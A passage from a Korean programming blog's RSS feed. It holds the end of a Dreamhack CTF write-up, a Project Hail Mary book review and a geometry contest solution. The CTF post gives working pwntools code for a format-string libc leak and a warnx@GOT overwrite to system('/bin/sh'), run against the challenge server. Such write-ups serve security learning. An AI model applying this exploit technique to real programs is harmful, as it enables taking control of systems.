    if(n == 1):
        p.sendline(text)

payload = b&quot;/bin/sh;&quot;+p32(warnxGOTAddress) + p32(warnxGOTAddress+1) + p32(warnxGOTAddress+2) + p32(warnxGOTAddress+3)
payload += f&quot;%{0x58-len(payload)}c&quot;.encode()
payload += b&quot;%8$hhn&quot;
payload += f&quot;%{0xdd-0x58}c&quot;.encode()
payload += b&quot;%9$hhn&quot;
payload += f&quot;%{0xe0-0xdd}c&quot;.encode()
payload += b&quot;%7$hhn&quot;
payload += f&quot;%{0xf7-0xe0}c&quot;.encode()
payload += b&quot;%10$hhn&quot;

print(payload)
send(1, payload)
send(2) ## overwrite
send(2) ## 실제 실행?

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1) 작성 중 오류 : ASLR&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, checksec에 나오지 않은 것이 하나 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;checksec을 보면,&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;779&quot; data-origin-height=&quot;149&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGo4tj/dJMb99NLUhK/fofBXY13nOlhAbttDteqEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGo4tj/dJMb99NLUhK/fofBXY13nOlhAbttDteqEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGo4tj/dJMb99NLUhK/fofBXY13nOlhAbttDteqEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGo4tj%2FdJMb99NLUhK%2FfofBXY13nOlhAbttDteqEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;149&quot; data-origin-width=&quot;779&quot; data-origin-height=&quot;149&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;No pie라 하여 .text와 got는 불변이지만, libc 로드 주소까지 불변인 것인 줄 알고 코드를 작성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 실제 코드를 돌려보니 system의 real address가 계속 바뀐다는 것을 발견하여 ASLR이 작동하고 있음을 알았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾아보니, ASLR은 운영체제의 보호기법으로 checksec결과에는 포함되지 않는다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASLR이 포함되어 있으면 libc의 로드 주소가 실행시마다 바뀐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, warnx@got는 사용가능하지만, system의 실제 주소는 libc leak으로 구해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;buf에 libc내의 아무 함수의 got를 넣고 %5$s 하게 되면, 실제 주소를 얻을 수 있고, 이렇게 되면, offset을 통해 system함수의 실제 주소를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 따라 코드를 작성하면 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1783753074858&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;host3.dreamhack.games&quot;, 8326)
#p = process(&quot;./string&quot;)
e = ELF(&quot;./string&quot;)
ld = ELF(&quot;./libc.so.6&quot;, checksec=False)

warnxGOTAddress = e.got[&quot;warnx&quot;]

def send(n, text=&quot;&quot;):
    p.sendlineafter(b&quot;&amp;gt; &quot;, str(n).encode())
    if(n == 1):
        p.sendline(text)

send(1, p32(e.got[&quot;printf&quot;]) + b&quot;LEAK:%5$s&quot;)

send(2)
p.recvuntil(b&quot;LEAK:&quot;)

systemRealAddress = u32(p.recv(4)) - ld.sym[&quot;printf&quot;] + ld.sym[&quot;system&quot;]

values = [
    [0, systemRealAddress &amp;amp; 0xff],
    [1, (systemRealAddress &amp;gt;&amp;gt; 8) &amp;amp; 0xff],
    [2, (systemRealAddress &amp;gt;&amp;gt; 16) &amp;amp; 0xff],
    [3, (systemRealAddress &amp;gt;&amp;gt; 24) &amp;amp; 0xff],
]
values = sorted(values, key=lambda x: x[1])

payload = b&quot;/bin/sh;&quot;+p32(warnxGOTAddress) + p32(warnxGOTAddress+1) + p32(warnxGOTAddress+2) + p32(warnxGOTAddress+3)
printed = len(payload)

for v in values:
    idx = v[0]
    h = v[1]
    payload += f&quot;%{h-printed}c&quot;.encode()
    printed = h
    payload += f&quot;%{7+idx}$hhn&quot;.encode()

print(payload)
send(1, payload)
send(2) ## overwrite
send(2) ## 실제 실행?

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에서 실행하면 로컬의 libc가 달라 쉘을 얻지 못하지만, 문제에서 제공한 libc의 오프셋을 적용하여 서버에서 실행하면 정상적으로 쉘을 획득할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zcGR6/dJMcafggsnE/83Dipx1CnFQ7FLpN4uDwLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zcGR6/dJMcafggsnE/83Dipx1CnFQ7FLpN4uDwLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zcGR6/dJMcafggsnE/83Dipx1CnFQ7FLpN4uDwLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzcGR6%2FdJMcafggsnE%2F83Dipx1CnFQ7FLpN4uDwLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;290&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 shell을 얻을 수 있음을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2) 한계 및 해결책&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 코드에도 문제가 남아있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;len(payload)를 초기 printed로 사용하고 있는데, 만약 values의 가장 작은 값이 len(payload) 보다 작다면 그냥 코드자체를 다시 돌려야 하기 때문에 0x100을 더하는 식으로 하여 문제를 해결할 수 있을 것이다.&lt;/p&gt;</description>
      <category>보안/시스템해킹</category>
      <category>exploit</category>
      <category>FSB</category>
      <category>GOT Overwrite</category>
      <category>libc leak</category>
      <category>pwnable</category>
      <category>string</category>
      <category>드림핵</category>
      <category>시스템해킹</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/33</guid>
      <comments>https://code-learn-ing.tistory.com/33#entry33comment</comments>
      <pubDate>Sat, 11 Jul 2026 16:31:13 +0900</pubDate>
    </item>
    <item>
      <title>[독서 기록] 프로젝트 헤일메리</title>
      <link>https://code-learn-ing.tistory.com/32</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 헤일메리 책을 읽었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 책을 읽게 된 계기 / 책을 읽으며 느낌&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 책을 읽게된건 큰 이유가 없었다. 그냥 선임분이 다 읽고, &quot;이거 재밌더라. 너 좋아하겠더라&quot; 해서 그때 읽을 것도 없었기에 그냥 읽었다. 또, 선임분께서 '마션'의 작가라고 해서 혹해서 읽은것도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 알고보니, 이 책이 영화로 나온다고 하대? 아싸, 영화 나오기전에 다 읽고 영화보면 되겠다라는 생각으로 읽었던것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 책을 다 읽은날: 3월 18일.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영화 한국 개봉일: 3월 18일.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 기록 작성일: 3월 19일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매우 기분 좋은 상태로 글을 작성하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 책은, 그레이스의 시점에서, 우주에서의 시점과, 지구에서의 시점을 번갈아가며 이야기를 진행한다. 어찌 보면, 초반, 그레이스의 기억이 아예 없는 상태로 시작하기 때문에, 당연하다고 할 수도 있고, 왜 순차적으로 지구에서의 이야기부터 하지 않았을까 라는 생각도 들게 했다. 이 부분은 책을 읽어봐야 알 수 있다. 꼭 읽어보길 바란다. 진짜 재밌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실, 600페이지가 넘어간다. 이 책을 거의 한달동안 읽었다. sf다 보니, 내용이 어려워지는 순간 부담이 가중되는 것도 있고, 그냥, 페이지에서 오는 압박감도 있다. 읽으면서도, 이만큼이나 진행됐는데, 이만큼이나 남았다고?라는 생각의 연속이었고, 언제 다 읽고 결말보지라는 생각도 자주 들었다. 읽고 나서야 보니, 와, 이건 재밌었다. 좋다 라는 생각이 들지, 사실, 읽으면서는 책의 완독에 대해 계속 의문을 품게한다. 그래도, 다 읽으면, 보석이 숨겨져있다. 진짜 이건 읽어봐야 안다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 간략 줄거리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;줄거리를 쓰는게 사실, 꽤 복잡하다. 책의 진행과정으로 진행하면, 전후 관계가 깨지게 되고, 단순히, 시간 순으로 재정렬할시, 책을 읽으며 오는 짜릿함과 극적임을 알 수 없다. 그렇기에, 정말 간략화해서 설명을 해보고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 지구는 아스트로파지라는 우주 생명체로 인해, 위협을 받는다. 생명체가 지구에 쳐들어오거나 한건 아니고, 아스트로파지는, 모든 에너지를 질량으로 저장하는 생명체로, 태양에서 지구로 와야하는 에너지를 흡수하여, 지구에 오는 에너지가 줄어드는것이 문제가 된다. 이를 해결하기 위해, 아스트로파지를 구해온 것을, 그레이스가 가장 먼저 실험을 진행하며, 추후에도 수많은 실험을 진행하며, 거의, 아스트로파지의 거의 모든 것을 알게 된다. 이때, 스트라트가 전세계의 모든 권한을 가져, 모든 실험을 그레이스가 접할수 있던것도 한목한다. 이후, 타우세티라는 별이 있는 계에서는 아스트로파지가 큰 영향을 끼치지 못하고 있다는 사실을 알고, 그 지역으로 우주선을 보내야한다. 이 우주선에 타기로 정해진 인원이 불의의 사고로 죽게 되고, 어떤 충격적인 사건으로 그레이스가 해당 우주선에 타서 타우세티로 보내지게 된다. 이는 자살 작전이다. 다시 지구로 돌아올 연료가 없었다. 타우세티에 도착하고, 그레이스가 깬다. 아무 기억이 없고, 같이 깼어야했을 2명은 이미 죽은 상태다. 이후, 그레이스가 점점 기억을 되찾으며, 40 에리다니(또다른 항성이 있는 계의 행성)에서 온 로키를 만나 함께 협력하여, 아스트로파지가 해당 지역에서 왜 힘을 쓰지 못하는지를 파악하고, 많은 실험과, 사건들을 거쳐, 이유를 알게 되고, 이 둘은 각자의 행성으로 돌아가게 된다. 또, 마지막엔, 어떤 사건으로 인해, 아주 감동적이며, 안타까우면서도, 다행스러운 일이 일어나게 된다. 결론 적으론, 각자의 행성을 구하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 로키와 그레이스의 관계를 간단하게만 서술하였지만, 이둘 사이엔 엄청 많은 사건이 있고, 각자의 장점이 다르며, 서로 강한 유대와 신뢰를 가지고 있다. 또, 위 줄거리에서 제대로 서술하지 않은 사건들은 진짜, 책을 읽어보는 것을 권하기에 밝히지 않았다. 진짜, 몇번을 말하지만, 읽어봐야한다. 아직, 영화를 보진 않았지만, 난 이 장면이 꼭 있어야한다라고 생각한다. 책을 읽기 부담스럽다면, 영화라도 보기를 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 책을 읽으며 한 생각&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 첫째, 대부분의 sf에서는 외계인의 침략 혹은, 외계인과의 부정적 관계가 많이 나온다. 근데, 이책은 외계인과의 우정을 다룬다. 이점이 신선하게 다가온다. 외계인이 먼저 호의적으로 다가온 부분, 서로 언어, 문화, 살수 있는 환경 등, 모든 것이 맞지 않지만, 그들은 친구가 되고, 서로 의지하게 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또, 이 모든 과정은 우연으로 인해, 일어난다. 책에 나온 이러한 우연이 발생한 이유는 다음과 같다. 너무 과학이 발전하지 못한 곳은, 아스트로파지에 의해 행성이 위협받고 있다라는 사실을 모를것이며, 너무 발전한 곳은, 타우세티까지 오지 않더라도 아스트로파지를 제거할 수 있었을 것이다라는. 어떻게 보면, 당연한 사실이지만, 이를 생각하기엔 어렵고, 당시 신선한 충격이었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과학적으로 들어가면, 생명체에 대해 내가 아는 부분이 너무 없기 때문에 의문이랄게 생기진 않았다. 그냥. 그런갑다 정도였다. 단순히 그냥 궁금했던건, E=mc^2인 생명체가 존재한다면, 이를 제대로 분석만 해낼수 있다면, 무손실의 에너지 자원을 가질수 있다는 것인데, 그럼, 무한 동력이다. 또, 이산화탄소만 있으면, 이들은 번식을 한다. 그럼, 한 아스트로파지에서 에너지를 방출하여, 터빈을 돌리게 하고, 남은 열 에너지를 다른 아스트로파지가 흡수하게 하면, 단순히, 아스트로파지를 터빈 자체에 붙인다면? 에너지 손실이 전혀 없다. 그저, 이들을 제어할 수만 있으면 모든 에너지 문제는 해결된다. 과연, 지구의 위협을 가하지 않았으며, 그저 발견만 하였다면? 과학자들은 이를 어떻게 사용하였을까에 대한 호기심을 가지게 된다. 나로써는 도저히 상상이 되지 않는다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 최종 후기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 난 무조건 영화를 볼거다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과학적 내용을 가지면서도, 우정을 주제로 삼으며, 그게 외계인과의 우정이다? 게다가 책 원작도 너무 재밌게 봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마, 이젠, 영화가 나왔으니, 영화를 보고 책을 읽는 사람이 많을 것이라 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 영화를 보진 못해, 어떠한 차이점이 있고, 어떠한 부분에서 원작과 다르다. 어떤 부분은 고증 오류고, 어떤 부분은 오히려 각색이 좋다라는 것은 쓰지 못하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그저, 영화를 본 이후라도, 책을 읽어보면 좋겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영화를 봤다면, 이미지가 책을 먼저 읽을때보다 더 선명할테고, 책에서만 받을 수 있는 상상으로 인한 충격과 감동도 받을 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실, 책이 너무 길기에, 앞부분의 내용이 흐릿할 수 있다. 내가 그렇다. 하지만서도, 남들이 뭐라 평하더라도 나에게는 역대급 sf다.&amp;nbsp;&lt;/p&gt;</description>
      <category>책/소설</category>
      <category>SF</category>
      <category>SF소설</category>
      <category>소설</category>
      <category>앤디위어</category>
      <category>프로젝트</category>
      <category>프로젝트헤일메리</category>
      <category>헤일메리</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/32</guid>
      <comments>https://code-learn-ing.tistory.com/32#entry32comment</comments>
      <pubDate>Thu, 19 Mar 2026 19:03:35 +0900</pubDate>
    </item>
    <item>
      <title>[백준][9374] 감시 카메라</title>
      <link>https://code-learn-ing.tistory.com/31</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;961&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zCCw0/dJMcaaR02TU/sMUkXSqgKeXEGiIxkklVQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zCCw0/dJMcaaR02TU/sMUkXSqgKeXEGiIxkklVQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zCCw0/dJMcaaR02TU/sMUkXSqgKeXEGiIxkklVQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzCCw0%2FdJMcaaR02TU%2FsMUkXSqgKeXEGiIxkklVQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1094&quot; height=&quot;961&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;961&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 문제 내용 정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 문제에서는 볼록 다각형이 주어진다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 좌표는 반시계방향으로 주어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 카메라의 위치는 처음 나오는 두 좌표의 중점(첫 선분의 중점)에 위치한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 카메라가 볼수 있는 각도는 카메라가 설치된 변의 수직 기준, 좌우로 45도 각도만큼 볼수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전체 넓이의 카메라가 볼수 있는 넓이의 비율을 출력하여야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 해결 발상&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 카메라의 위치를 (0,0)으로 변경할 수 있도록, 모든 점을 평행이동한다. (모든 좌표에서, 카메라의 위치를 뺀다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 카메라가 위치하는 변의 벡터를 x성분, 그에 수직하는 벡터를 y성분으로 하여 행렬 연산을 진행한다. (그 결과, 첫 변은 x축 위에 존재하며, y&amp;gt;=0의 위치에 크기와 방향만 바뀐 도형이 그려진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 차례로 y=x, y=-x와 만나는 점을 구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 구한 점을 바탕으로, 카메라가 볼수 있는 도형의 넓이, 전체 넓이를 신발끈 정리를 통해 구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5) 결과를 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 최종 구현 코드&lt;/h3&gt;
&lt;pre id=&quot;code_1772864035085&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;bits/stdc++.h&amp;gt;

using namespace std;
using ll = long long;

long double getArea(vector&amp;lt;array&amp;lt;double, 2&amp;gt;&amp;gt; points)  {
    long double result = 0L;
    for(int i = 0; i &amp;lt; points.size(); i++) {
        result += points[i % points.size()][0] * points[(i+1) % points.size()][1];
        result -= points[i % points.size()][1] * points[(i+1) % points.size()][0];
    }

    return abs(result);
}

void run() {
    
    int n;
    cin &amp;gt;&amp;gt; n;
    vector&amp;lt;array&amp;lt;int, 2&amp;gt;&amp;gt; points(n);

    for(int i = 0; i &amp;lt; n; i++) {
        cin &amp;gt;&amp;gt; points[i][0] &amp;gt;&amp;gt; points[i][1];
        points[i][0] *= 2;
        points[i][1] *= 2;
    }

    array&amp;lt;int, 2&amp;gt; camera = {(points[0][0] + points[1][0]) / 2, (points[0][1] + points[1][1]) / 2};

    for(int i = 0; i &amp;lt; n; i++) {
        for(int j = 0; j &amp;lt; 2; j++) {
            points[i][j] -= camera[j];
        }
    }

    int g = gcd(points[1][0], points[1][1]);

    vector&amp;lt;array&amp;lt;int, 2&amp;gt;&amp;gt; base_vector = {
        {(points[1][0]) / g, (points[1][1]) / g},
        {(- points[1][1]) / g, (points[1][0]) / g},
    };

    vector&amp;lt;array&amp;lt;double, 2&amp;gt;&amp;gt; modified_points(n);
    vector&amp;lt;array&amp;lt;double, 2&amp;gt;&amp;gt; watch_points = {{0,0}};

    for(int i = 0; i &amp;lt; n; i++) {
        modified_points[i][0] = points[i][0] * base_vector[0][0] + points[i][1] * base_vector[0][1];
        modified_points[i][1] = points[i][0] * base_vector[1][0] + points[i][1] * base_vector[1][1];
    }

    bool is_found_upper_high = false; // y = x
    bool is_found_upper_low  = false; // y = -x

    for(int i = 1; i &amp;lt; n; i++) {
        double x1 = modified_points[i % n][0];
        double y1 = modified_points[i % n][1];
        double x2 = modified_points[(i+1) % n][0];
        double y2 = modified_points[(i+1) % n][1];

        double x_result1 = (double)((y2-y1)*x1 - y1*(x2-x1)) / (double)(y2-y1 +x1 - x2);
        double y_result1 = x_result1;
        double x_result2 = (double)((y2-y1)*x1 - y1*(x2-x1)) / (double)(y2-y1 -x1 + x2);
        double y_result2 = -x_result2;
        if(!is_found_upper_high) {
            is_found_upper_high = ((x1 &amp;lt;= x_result1 &amp;amp;&amp;amp; x_result1&amp;lt;= x2) || (x2 &amp;lt;= x_result1 &amp;amp;&amp;amp; x_result1&amp;lt;= x1)) &amp;amp;&amp;amp; ((y1 &amp;lt;= y_result1 &amp;amp;&amp;amp; y_result1 &amp;lt;= y2) || (y2 &amp;lt;= y_result1 &amp;amp;&amp;amp; y_result1 &amp;lt;= y1));
            if(is_found_upper_high) {
                watch_points.push_back({x_result1, y_result1});
            }
        }
        if(!is_found_upper_low &amp;amp;&amp;amp; is_found_upper_high) {
            watch_points.push_back({x1, y1});

            is_found_upper_low = ((x1 &amp;lt;= x_result2 &amp;amp;&amp;amp; x_result2&amp;lt;= x2) || (x2 &amp;lt;= x_result2 &amp;amp;&amp;amp; x_result2&amp;lt;= x1)) &amp;amp;&amp;amp; ((y1 &amp;lt;= y_result2 &amp;amp;&amp;amp; y_result2 &amp;lt;= y2) || (y2 &amp;lt;= y_result2 &amp;amp;&amp;amp; y_result2 &amp;lt;= y1));
            if(is_found_upper_low) {
                watch_points.push_back({x_result2, y_result2});
            }
        }
        
    }

    long double total_area = getArea(modified_points);
    long double watch_area = getArea(watch_points);

    cout.precision(10);

    
    cout &amp;lt;&amp;lt; watch_area / total_area &amp;lt;&amp;lt; &quot;\n&quot;;


}

int main() {
    ios_base::sync_with_stdio(false);
    cin.tie(0);
    cout.tie(0);

    int testcase;
    cin &amp;gt;&amp;gt; testcase;
    while(testcase--) {
        run();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 해결 아이디어 발상의 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 카메라의 위치를 (0,0)으로 평행이동한후, 첫변을 x축위에 존재할 수 있도록 한다. 그 이유는, 행렬 연산을 하면, 도형의 상대적 위치는 그대로 유지한채, 크기, 방향, 비율만 교체할 수 있다. 이는 그저, 첫변을 x축으로 하여, 좌표를 다시 표현하는 과정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 카메라의 위치를 0,0으로 하고, 해당 행렬연산을 진행하면, 어렵게, 각 변의 45도인 직선을 따로 구하는 것이 아닌, 변경된 도형에서 y=x, y=-x와 교점만 찾아내어 문제의 조건을 만족시킬 수 있다. 그 까닭은, x축이 첫 변이기 때문에, 카메라의 위치가 (0,0)이기 때문에, (0,0)을 지나며, x축에 각각 45도 각도인 y=x와 y=-x를 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 행렬 연산을 진행할때에는, 카메라에서 두번째 방향을 향하는 벡터를 x성분, 그에 수직하는 성분을 y성분으로 하여 진행하였는데, 이때, y성분은 도형 내부에 들어있는 수직인 벡터로 한다. 이를 사용하여 행렬 연산을 진행하면, 앞서 말한바와 같이, 도형은 y&amp;gt;=0 위에 존재하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 코드상에 x_result, y_result로 나와있는게 있는데, x_result1은, 첫번째점(x1,y1)과 두번째점(x2,y2)를 지나는 직선과 y=x의 교점을 지나는 x좌표이고, x_result2는 y=-x와 만나는 교점이다. 두 직선의 교점은 직접 계산한 뒤, 코드에 바로 적용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- watch_points라는 벡터가 코드상에 존재한다. watch_points는 카메라가 실제로 볼수 있는 좌표를 저장한 벡터이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- watch_points는, y=x와의 교점이 나오기 전까지는 카메라가 볼수 없으니 나머지 점을 버리고, y=x와의 교점이 발생할시, 해당점을 벡터에 추가한다. 이후, 도형의 각 점을 벡터에 포함하다가, y=-x와의 교점이 발생시, 그 이후 점은 볼수 없으니 그만 두는 것으로 한다. 이때, y=x를 무조건적으로 먼저 나온다고 할 수 있는 까닭은, 입력의 좌표가 항상 반시계방향으로 주어진다고 문제에서 주어져있으며, 앞서 설명했듯, y&amp;gt;=0의 위치에 도형이 존재하기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- watch_points 벡터에 좌표를 넣을때, if문을 두번 연속하여 사용하고 있는데, if, elseif를 사용하지 않은 까닭은 한 선분에 두 교점이 모두 존재할 수 있기 때문이다. 추후에도 설명하겠지만, 이때문에 지속적으로 문제에서 &quot;틀렸습니다&quot;를 받은것이기 때문에, 다시한번 집고 넘어가도록 하겠다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 소스코드 제출&lt;/h3&gt;
